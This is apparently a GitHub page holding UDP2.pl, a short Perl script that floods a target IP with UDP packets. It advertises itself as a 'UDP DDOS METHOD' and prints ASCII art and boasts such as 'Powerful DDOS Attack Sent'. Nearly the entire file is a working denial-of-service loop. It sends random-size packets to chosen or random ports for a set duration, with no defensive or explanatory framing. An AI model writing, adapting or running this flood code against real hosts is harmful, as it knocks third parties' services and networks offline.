-
Notifications
You must be signed in to change notification settings - Fork 47
/
UDP2.pl
54 lines (45 loc) · 2.05 KB
/
UDP2.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Diamond Perl Script #
#!/usr/bin/perl
Dexious The God # UDP DDOS METHOD #
use Socket;
use strict;
my ($ip,$port,$size,$time) = @ARGV;
my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 100);
socket(flood, PF_INET, SOCK_DGRAM, 17);
print <<EOTEXT;
,gaaaaaaaagaaaaaaaaaaaaagaaaaaaaag,
,aP8b _,dYba, ,adPb,_ d8Ya,
,aP" Yb_,dP" "Yba, ,adP" "Yb,_dP "Ya,
,aP" _88" )888( "88_ "Ya,
,aP" _,dP"Yb ,adP"8"Yba, dP"Yb,_ "Ya,
,aPYb _,dP8 Yb ,adP" 8 "Yba, dP 8Yb,_ dPYa,
,aP" YdP" dP YbdP" 8 "YbdP Yb "YbP "Ya,
I8aaaaaa8aaa8baaaaaa88aaaaaaaa8aaaaaaaa88aaaaaad8aaa8aaaaaa8I
`Yb, d8a, Ya d8b, 8 ,d8b aP ,a8b ,dP'
"Yb,dP "Ya "8, dI "Yb, 8 ,dP" Ib ,8" aP" Yb,dP"
"Y8, "YaI8, ,8' "Yb, 8 ,dP" `8, ,8IaP" ,8P"
"Yb, `"Y8ad' "Yb,8,dP" `ba8P"' ,dP"
"Yb, `"8, "Y8P" ,8"' ,dP"
"Yb, `8, 8 ,8' ,dP"
"Yb, `Ya 8 aP' ,dP"
"Yb, "8, 8 ,8" ,dP"
"Yb, `8, 8 ,8' ,dP"
"Yb, `Ya 8 aP' ,dP"
"Yb, "8, 8 ,8" ,dP"
"Yb,`8, 8 ,8',dP"
"Yb,Ya8aP,dP"
"Y88888P"
"Y8P"
"
Powerful DDOS Attack Sent # Thank Dexious The God #
EOTEXT
print "!~DuMpiN~! $ip " . ($port ? $port : "random") . " Offline " .
($size ? "$size " : "IP #OFFLINE") . "!~DISCONECTED~! " .
($time ? " for $time seconds" : "") . "\n";
print "Stop Hitting Ctrl-C\n" unless $time;
for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(1500000))+1;
send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}